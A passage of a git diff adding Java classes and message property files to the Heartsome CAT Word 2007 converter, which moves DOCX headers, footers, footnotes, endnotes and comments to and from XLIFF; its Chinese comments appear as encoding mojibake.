处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:document/w:body/descendant::w:p"; + + int allPSum = getNodeCount(xpath); + initWorkInterval(allPSum); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 12, SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", + allPSum % workInterval == 0 ? (allPSum / workInterval) : (allPSum / workInterval) + 1); + subMonitor.setTaskName(Messages.getString("xlf2Docx.task5")); + + ap.selectXPath(xpath); + int traverPIdx = 0; + while(ap.evalXPath() != -1){ + traverPIdx ++; + analysisReversePnode(); + + monitorWork(subMonitor, traverPIdx, false); + } + xm.output(partPath); + monitorWork(subMonitor, traverPIdx, true); + subMonitor.done(); + + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:document/w:body/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentRelation.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentRelation.java new file mode 100644 index 0000000..db8d095 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentRelation.java @@ -0,0 +1,167 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.text.MessageFormat; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.resource.Messages; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * ç®¡ç† document.xml 与其他文件之间的关è”çš„ç±» + * @author robert 2012-08-08 + */ +public class DocumentRelation { + private VTDNav vn; + private AutoPilot ap; + /** document.xml 关系文件 document.xml.rels çš„ç»å¯¹è·¯å¾„ */ + private String xmlPath; + private PathUtil pathUtil; + + public DocumentRelation(String xmlPath, PathUtil pathUtil) throws Exception { + this.xmlPath = xmlPath; + this.pathUtil = pathUtil; + loadFile(); + } + + private void loadFile() throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xmlPath, true)) { + vn = vg.getNav(); + ap = new AutoPilot(vn); + }else { + throw new Exception(MessageFormat.format(Messages.getString("docxConvert.msg2"), xmlPath)); + } + } + + /** + * 通过传入的 id 获å–出与 document.xml 文件相关的其他文件 + * @param Id + * @return + */ + public String getPartPathById(String Id) throws Exception { + String partPath = ""; + String xpath = "/Relationships/Relationship[@Id='" + Id + "']"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + int index = -1; + if ((index = vn.getAttrVal("Target")) != -1) { + partPath = vn.toString(index); + } + } + + pathUtil.setWordRoot(); // 回到 superRoot/word 目录 + partPath = pathUtil.getPackageFilePath(partPath, false); + pathUtil.setSuperRoot(); // 回到根目录 + return partPath; + } + + /** + * 处ç†ä¸»æ–‡æ¡£çš„关系 + * @throws Exception + */ + public void arrangeRelations (XliffInputer xlfInput, IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + String xpath = ""; + + // 先获å–页眉的文件路径 + monitor.setTaskName(Messages.getString("xlf2Docx.task1")); + String headerType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/header"; + xpath = "/Relationships/Relationship[@Type='" + headerType + "']/@Target"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String target = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(target)) { + pathUtil.setWordRoot(); + String partPath = pathUtil.getPackageFilePath(target, false); + HeaderPart part = new HeaderPart(partPath, xlfInput); + part.reverseConvert(); + } + } + monitorWork(monitor); + + // å†å¤„ç†é¡µè„š + monitor.setTaskName(Messages.getString("xlf2Docx.task2")); + String footerType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/footer"; + xpath = "/Relationships/Relationship[@Type='" + footerType + "']/@Target"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String target = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(target)) { + pathUtil.setWordRoot(); + String partPath = pathUtil.getPackageFilePath(target, false); + FooterPart part = new FooterPart(partPath, xlfInput); + part.reverseConvert(); + } + } + monitorWork(monitor); + + // å†å¤„ç†æ‰¹æ³¨ + monitor.setTaskName(Messages.getString("xlf2Docx.task3")); + String CommentsType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments"; + xpath = "/Relationships/Relationship[@Type='" + CommentsType + "']/@Target"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String target = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(target)) { + pathUtil.setWordRoot(); + String partPath = pathUtil.getPackageFilePath(target, false); + CommentsPart part = new CommentsPart(partPath, xlfInput); + part.reverseConvert(); + } + } + monitorWork(monitor); + + // å†å¤„ç†è„šæ³¨ + monitor.setTaskName(Messages.getString("xlf2Docx.task4")); + String footNotesType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/footnotes"; + xpath = "/Relationships/Relationship[@Type='" + footNotesType + "']/@Target"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String target = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(target)) { + pathUtil.setWordRoot(); + String partPath = pathUtil.getPackageFilePath(target, false); + FooterNodesPart part = new FooterNodesPart(partPath, xlfInput); + part.reverseConvert(); + } + } + monitorWork(monitor); + + // 最åŽå¤„ç†å°¾æ³¨ + monitor.setTaskName(Messages.getString("xlf2Docx.task5")); + String endNotesType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/endnotes"; + xpath = "/Relationships/Relationship[@Type='" + endNotesType + "']/@Target"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String target = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(target)) { + pathUtil.setWordRoot(); + String partPath = pathUtil.getPackageFilePath(target, false); + EndNotesPart part = new EndNotesPart(partPath, xlfInput); + part.reverseConvert(); + } + } + monitorWork(monitor); + + } + + public void monitorWork(IProgressMonitor monitor){ + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + } + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/EndNotesPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/EndNotesPart.java new file mode 100644 index 0000000..6f9b8b8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/EndNotesPart.java @@ -0,0 +1,122 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; + +/** + * 处ç†å°¾æ³¨ endNotes.xml 文件。 + * @author robert 2012-08-17 + */ +public class EndNotesPart extends PartOperate { + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public EndNotesPart(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter) throws Exception { + super(partPath, xlfOutput, segmenter); + + init(); + + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public EndNotesPart (String partPath, XliffInputer xlfInput) throws Exception { + super(partPath, xlfInput); + + init(); + } + + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + /** + * 这里,因为处ç†å°¾æ³¨çš„时机是根æ®ä¼ å…¥çš„ id 决定的,但针对对å¯ç¿»è¯‘属性的处ç†ï¼Œåªèƒ½å¤„ç†ä¸€æ¬¡ï¼Œæ•…放在 run 方法里é¢ã€‚è¿™ç§æƒ…况,尾注,批注,有点类似 + */ + @Override + protected void converter() throws Exception { + operateTransAttributes("/w:endnotes/w:endnote/descendant::w:p/w:r/w:pict/v:shape/@alt"); + } + + /** + * æ ¹æ®æŒ‡å®šçš„ id 进行处ç†æ‰¹æ³¨ä¿¡æ¯ + * @param id + * @throws Exception + */ + protected void operateEndNotesContent(String id) throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:endnotes/w:endnote[@w:id='" + id + "']/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + List transAttrList = new LinkedList(); + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + + } + } + + public void outputPart() throws Exception{ + xm.output(partPath); + } + + + + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + protected void reverseConvert() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:endnotes/w:endnote/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // DOLATER 先处ç†æ‰€æœ‰çš„属性 + analysisReversePnode(); + } + xm.output(partPath); + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:endnotes/w:endnote/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterNodesPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterNodesPart.java new file mode 100644 index 0000000..1b96b22 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterNodesPart.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; + +/** + * 脚注的处ç†ç±»ï¼Œé’ˆå¯¹äºŽ footerNodes.xml 文件 + * @author robert 2012-08-16 + */ +public class FooterNodesPart extends PartOperate { + + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public FooterNodesPart(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter) throws Exception { + super(partPath, xlfOutput, segmenter); + + init(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public FooterNodesPart (String partPath, XliffInputer xlfInput) throws Exception { + super(partPath, xlfInput); + + init(); + } + + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + /** + * 这里,因为处ç†å°¾æ³¨çš„时机是根æ®ä¼ å…¥çš„ id 决定的,但针对对å¯ç¿»è¯‘属性的处ç†ï¼Œåªèƒ½å¤„ç†ä¸€æ¬¡ï¼Œæ•…放在 run 方法里é¢ã€‚è¿™ç§æƒ…况,尾注,批注,有点类似 + */ + @Override + protected void converter() throws Exception { + operateTransAttributes("/w:footnotes/w:footnote/descendant::w:p/w:r/w:pict/v:shape/@alt"); + } + + /** + * æ ¹æ® + * @param id + * @throws Exception + */ + protected void operateFooterNodesContent(String id) throws Exception { + + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:footnotes/w:footnote[@w:id='" + id + "']/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + List transAttrList = new LinkedList(); + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + + } + } + + + public void outputPart() throws Exception{ + xm.output(partPath); + } + + + + + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + protected void reverseConvert() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:footnotes/w:footnote/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // DOLATER 先处ç†æ‰€æœ‰çš„属性 + analysisReversePnode(); + } + xm.output(partPath); + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:footnotes/w:footnote/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + } + + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterPart.java new file mode 100644 index 0000000..83b0bdf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/FooterPart.java @@ -0,0 +1,112 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; + +public class FooterPart extends PartOperate { + + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public FooterPart(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter) throws Exception { + super(partPath, xlfOutput, segmenter); + + init(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public FooterPart (String partPath, XliffInputer xlfInput) throws Exception { + super(partPath, xlfInput); + + init(); + } + + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + /** + *
    这个 run() 主体方法内的内容,headerPart, footerPart 除了xpath ä¸ä¸€è‡´ï¼Œå…¶ä»–应ä¿æŒä¸€è‡´ , 切记 。
    + * å¦å¤–,页眉页脚是没有批注,尾注,脚注等信æ¯
    。 + */ + @Override + protected void converter() throws Exception { + operateTransAttributes("/w:ftr/descendant::w:p/w:r/w:pict/v:shape/@alt"); + + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:ftr/descendant::w:p"; + ap.selectXPath(xpath); + + while(ap.evalXPath() != -1){ + List transAttrList = new LinkedList(); + + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + + } + + xm.output(partPath); + } + + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + protected void reverseConvert() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:ftr/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // DOLATER 先处ç†æ‰€æœ‰çš„属性 + analysisReversePnode(); + } + xm.output(partPath); + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:ftr/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/HeaderPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/HeaderPart.java new file mode 100644 index 0000000..0bd55b9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/HeaderPart.java @@ -0,0 +1,131 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; + +/** + * å¤„ç† é¡µçœ‰ header*.xml 文件 + * @author robert + */ +public class HeaderPart extends PartOperate { + + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public HeaderPart(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter) throws Exception{ + super(partPath, xlfOutput, segmenter); + + init(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public HeaderPart (String partPath, XliffInputer xlfInput) throws Exception { + super(partPath, xlfInput); + + init(); + } + + + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + /** + *
    这个 run() 主体方法内的内容,headerPart, footerPart 除了xpath ä¸ä¸€è‡´ï¼Œå…¶ä»–应ä¿æŒä¸€è‡´ , 切记 。
    + * å¦å¤–,页眉页脚是没有批注,尾注,脚注等信æ¯
    。 + */ + @Override + protected void converter() throws Exception { + operateTransAttributes("/w:hdr/descendant::w:p/w:r/w:pict/v:shape/@alt"); + + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:hdr/descendant::w:p"; + ap.selectXPath(xpath); + + while(ap.evalXPath() != -1){ + List transAttrList = new LinkedList(); + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + } + + xm.output(partPath); + } + + + + + + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + protected void reverseConvert() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:hdr/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // DOLATER 先处ç†æ‰€æœ‰çš„属性 + analysisReversePnode(); + } + xm.output(partPath); + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:hdr/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + } + + + public static void main(String[] args) { + String text = "1=-2 - English"; + System.out.println(text.replaceAll(" ", "")); + + String transAttrPlaceHolderStr = "%%%21%%%"; + int firstPlaceHIdx = transAttrPlaceHolderStr.indexOf("%%%"); + System.out.println(firstPlaceHIdx); + System.out.println(transAttrPlaceHolderStr.substring(firstPlaceHIdx + 3, transAttrPlaceHolderStr.indexOf("%%%", firstPlaceHIdx + 1))); + + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/Messages.java new file mode 100644 index 0000000..4af9565 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.word2007.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.word2007.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message.properties b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message.properties new file mode 100644 index 0000000..0a2a098 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message.properties @@ -0,0 +1,45 @@ +##################################### 2012-08-30 robert \u6dfb\u52a0 ########################################## +docxConvert.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff01 + +docxConvert.task1 = \u6b63\u5728\u89e3\u538b\u6587\u4ef6... +docxConvert.task2 = \u6b63\u5728\u538b\u7f29\u6587\u4ef6... +docxConvert.task3 = \u9000\u51fa\u8f6c\u6362 + +docx2Xlf.task1 = \u6b63\u5728\u83b7\u53d6\u9875\u7709\u9875\u811a\u7684\u4fe1\u606f\uff0c\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task2 = \u6b63\u5728\u83b7\u53d6 document \u6587\u4ef6\u7684\u4fe1\u606f\uff0c\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +docx2Xlf.msg1 = DOCX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +docx2Xlf.msg2 = \u6587\u4ef6\u9519\u8bef\uff1a\u5f53\u524d\u6587\u6863 \"{0}\" \u672a\u63a5\u53d7\u4fee\u8ba2\uff0c\u65e0\u6cd5\u8fdb\u884c\u8f6c\u6362\uff0c\u8bf7\u63a5\u53d7\u6240\u6709\u4fee\u8ba2\u540e\u91cd\u8bd5\u3002 + +docx2Xlf.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +PathUtil.msg1 = \u627e\u5230\u4e0d\u6587\u4ef6\u5939{0} + +xlf2Docx.msg1 = XLIFF \u8f6c\u6362 DOCX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xlf2Docx.task1 = \u6b63\u5728\u751f\u6210\u9875\u7709... +xlf2Docx.task2 = \u6b63\u5728\u751f\u6210\u9875\u811a... +xlf2Docx.task3 = \u6b63\u5728\u751f\u6210\u6279\u6ce8... +xlf2Docx.task4 = \u6b63\u5728\u751f\u6210\u811a\u6ce8... +xlf2Docx.task5 = \u6b63\u5728\u751f\u6210\u5c3e\u6ce8... +xlf2Docx.task5 = \u6b63\u5728\u751f\u6210 document \u6587\u4ef6... +xlf2Docx.task6 = \u6b63\u5728\u751f\u6210 word 2007 \u6587\u4ef6... + + +utils.FileFormatUtils.MSWORD2007 = Microsoft Word \u6587\u6863 (DOCX) + + +##################################### 2012-09-05 robert add ########################################## +docxConvert.msg2 = Word 2007 \u6587\u6863\u9519\u8bef\uff0c\u5b50\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002\n\u8bf7\u5c1d\u8bd5\u7528 MS Word 2007 \u6253\u5f00\u8be5\u6587\u6863\uff0c\u53e6\u5b58\u4e3a\u4e00\u4e2a\u65b0\u7684 DOCX \u6587\u6863\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + + diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_en.properties new file mode 100644 index 0000000..a67431c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_en.properties @@ -0,0 +1,45 @@ +##################################### 2012-08-30 robert \u6dfb\u52a0 ########################################## +docxConvert.msg1 = Failed to parsing the file {0}! + +docxConvert.task1 = Unzipping files... +docxConvert.task2 = Compressing files... 